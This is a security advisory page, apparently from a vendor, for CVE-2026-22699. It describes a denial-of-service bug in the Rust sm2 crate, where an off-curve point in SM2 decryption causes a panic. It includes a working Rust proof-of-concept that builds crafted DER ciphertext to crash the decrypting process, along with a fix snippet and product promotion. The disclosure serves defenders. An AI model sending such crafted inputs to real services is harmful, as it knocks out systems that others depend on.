CVE-2026-22699

CVE-2026-22699 is a high-severity improper input validation vulnerability in sm2 (rust), affecting versions >= 0.14.0-pre.0, <= 0.14.0-rc.4. No fixed version is listed yet.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab

  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at [email protected].

Note

This organization follows the security industry standard disclosure policy, the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Impact

  • Denial of Service: an attacker who can submit ciphertext (or DER ciphertext)
    can crash the decrypting thread/process.
  • Low attacker effort: crafting random 32-byte X/Y values that are not on the
    curve is trivial.
  • Wide exposure: any service that accepts ciphertext and links this library is
    vulnerable.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-22699 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

sm2 (>= 0.14.0-pre.0, <= 0.14.0-rc.4)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Do not call .unwrap() on the result of AffinePoint::from_encoded_point().
Instead, convert the CtOption to an Option (or inspect it) and return a
library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Frequently Asked Questions

  1. What is CVE-2026-22699? CVE-2026-22699 is a high-severity improper input validation vulnerability in sm2 (rust), affecting versions >= 0.14.0-pre.0, <= 0.14.0-rc.4. No fixed version is listed yet. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. How severe is CVE-2026-22699? CVE-2026-22699 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of sm2 are affected by CVE-2026-22699? sm2 (rust) versions >= 0.14.0-pre.0, <= 0.14.0-rc.4 is affected.
  4. Is there a fix for CVE-2026-22699? No fixed version is listed for CVE-2026-22699 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-22699 exploitable, and should I be worried? Whether CVE-2026-22699 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-22699 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-22699? No fixed version is listed yet. In the interim: Validate all external input against an allowlist of expected values, types, and ranges before processing.

Other vulnerabilities in sm2

CVE-2026-22700CVE-2026-22699

Stop the waste.
Protect your environment with Kodem.